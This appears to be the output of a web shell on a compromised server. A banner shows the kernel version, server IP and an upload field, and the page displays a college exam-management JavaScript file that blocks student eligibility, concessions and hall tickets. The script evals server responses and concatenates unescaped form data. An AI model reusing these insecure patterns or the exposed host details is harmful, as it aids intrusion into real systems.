0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.133.113.24


Current Path : /var/www/html/stph/js/
Upload File :
Current File : /var/www/html/stph/js/ECHblk.js

/*
 *
 * PROGRAMED BY Prashanth
 * FOR THE Enable or block Exam application, Concession Fee and Hall Ticket
 * DATE: 10/08/1018
 * TIME: 2:11 PM
 *
 */
$g_fmacs_total_row_count = 0;
$g_fmacas_org_rem_sub = "";
$g_fmacas_rem_sub = "";
function callenableECHblk() {
  $g_fmacs_total_row_count = 0;
  $g_fmacas_rem_sub = "";
  $g_fmacas_org_rem_sub = "";
  $("#page_main_div").load("html_modules/ECHblk.html", function() {
    document.getElementById("display_module_name").innerHTML =
      "Eligibility, Concession, Hall Ticket block";
    document.getElementById("module_name_for_save").value = "ECHblk";
    document.getElementById("is_add_edit").value = "Add";
    getDefaultHeadFooterLinks("Eligibility, Concession, Hall Ticket block");
    ClearECHblk();
  });
}

function getStudentsforblcking() {
  if (trim(document.getElementById("ech_degree_code").value) == "") {
    alert("Please enter the Degree Code");
    $("#ech_degree_code").focus();
    return;
  }
  if (trim(document.getElementById("ech_sub_Examno").value) == "") {
    alert("Please enter the Degree. Code");
    $("#ech_sub_Examno").focus();
    return;
  }
  if (trim(document.getElementById("view_by").value) == "") {
    alert("Please select view status");
    $("#view_by").focus();
    return;
  }
  $("#ech_module_student_data").html("");
  $.blockUI({
    message:
      "<h1 class='h1' style='font-size:12px'><img src='img/ajax-loader.gif' border='0'></h1>"
  });
  $.ajax({
    type: "POST",
    data:
      "&degree=" +
      $("#ech_degree_code").val() +
      "&exam_no=" +
      $("#ech_sub_Examno").val() +
      "&status=" +
      $("#view_by").val(),
    url: $host_url + "getECHblkStudents.demo",
    success: getECHblkStudentsResponce
  });
}

var total;
function getECHblkStudentsResponce($responce) {
  $.unblockUI();
  $responce = eval("(" + $responce + ")");
  if ($responce.error_code == 0) {
    document.getElementById("ech_degree_code").disabled = true;
    document.getElementById("ech_sub_Examno").disabled = true;

    $("#ech_module_student_data").show();
    $("#ech_module_student_data").html("");
    $("#ech_module_student_data").html($responce.data.html_data);
    total = $responce.data.total_count;

    $g_fmacas_org_rem_sub = $responce.data.rem_sub;
    $g_fmacas_rem_sub = $responce.data.rem_sub;
  } else {
    $("#ech_module_student_data").show();
    $("#ech_module_student_data").html("");
    // $g_fmacas_total_row_count=0;
    alert($responce.data.msg);
  }
}

function saveECHblkStudents() {
  if (trim(document.getElementById("ech_degree_code").value) == "") {
    alert("Please enter the Degree. Code");
    document.getElementById("ech_degree_code").focus();
    return;
  }
  if (trim(document.getElementById("ech_sub_Examno").value) == "") {
    alert("Please enter the Degree. Code");
    document.getElementById("ech_sub_Examno").focus();
    return;
  }
  var rgECH = [];
  if ($("#ech_module_student_data [name='hidden']:checked").length == 0) {
    alert("No changes Made!");
    $("#ech_module_student_data").html("");
    document.getElementById("ech_degree_code").disabled = false;
    document.getElementById("ech_sub_Examno").disabled = false;
    return;
  }
  $("#ech_module_student_data [name='hidden']:checked").each(function() {
    var obj = {};
    let regno = $(this).attr("id");
    obj.regno = regno.substr(2);
    if (
      $(this)
        .parents("tr")
        .find("input[name='eligibility']")
        .is(":checked")
    ) {
      obj.eligibility = "Yes";
    } else {
      obj.eligibility = "No";
    }
    if (
      $(this)
        .parents("tr")
        .find("input[name='concession']")
        .is(":checked")
    ) {
      obj.concession = "Yes";
    } else {
      obj.concession = "No";
    }
    if (
      $(this)
        .parents("tr")
        .find("input[name='hallticket']")
        .is(":checked")
    ) {
      obj.hallticket = "Yes";
    } else {
      obj.hallticket = "No";
    }
    let remarks = $(this)
      .parents("tr")
      .find("input[name='remarks']")
      .val();
    if (remarks != "") {
      remarks = remarks.replace("&", "and");
      remarks = remarks.replace("'", "`");
      remarks = remarks.replace('"', "`");
      obj.remarks = $(this)
        .parents("tr")
        .find("input[name='remarks']")
        .val();
    } else {
      obj.remarks = "";
    }
    rgECH.push(obj);
  });
  var strECH = JSON.stringify(rgECH);
  console.log(strECH);

  $.ajax({
    type: "POST",
    data:
      "degree=" +
      $("#ech_degree_code").val() +
      "&exam_no=" +
      document.getElementById("ech_sub_Examno").value +
      "&strECH=" +
      strECH,
    url: $host_url + "saveECHblkStudents.demo",
    success: saveECHblkStudentsResponce
  });
}

function saveECHblkStudentsResponce($responce) {
  $responce = eval("(" + $responce + ")");
  alert($responce.data);
  $g_fmacas_rem_sub = $g_fmacas_org_rem_sub;
  $("#ech_module_student_data").html("");
  document.getElementById("ech_degree_code").disabled = false;
  document.getElementById("ech_sub_Examno").disabled = false;
}

function statusChanged(obj) {
  $(obj)
    .parents("tr")
    .find("input[name='hidden']")
    .attr("checked", "checked");
}

function ClearECHblk() {
  document.getElementById("ech_degree_code").value = "";
  document.getElementById("ech_degree_name").value = "";
  document.getElementById("ech_sub_Examno").value = "";
  document.getElementById("ech_sub_Exam_name").value = "";
  document.getElementById("ech_module_student_data").innerHTML = "";
}

function selectall() {
  var k;
  if (document.getElementById("elig").checked == true) {
    for (k = 1; k < parseInt(total); k++) {
      var regno = document.getElementById("hregno_" + k).value;
      // document.getElementById("eligibility_" + k).checked = true;
      $("#eligibility_" + k + ":enabled").attr("checked", "checked");
      document.getElementById("h_" + regno).checked = true;
    }
  } else {
    for (k = 1; k < total; k++) {
      var regno = document.getElementById("hregno_" + k).value;
      // document.getElementById("eligibility_" + k).checked = false;
      $("#eligibility_" + k + ":enabled").attr("checked", false);
      document.getElementById("h_" + regno).checked = true;
    }
  }
}

function selecthtall() {
  var k;
  if (document.getElementById("ht").checked == true) {
    //alert(total);
    for (k = 1; k < parseInt(total); k++) {
      var regno = document.getElementById("hregno_" + k).value;
      document.getElementById("ht_" + k).checked = true;
      document.getElementById("h_" + regno).checked = true;
    }
  } else {
    for (k = 1; k < total; k++) {
      var regno = document.getElementById("hregno_" + k).value;
      document.getElementById("ht_" + k).checked = false;
      document.getElementById("h_" + regno).checked = true;
    }
  }
}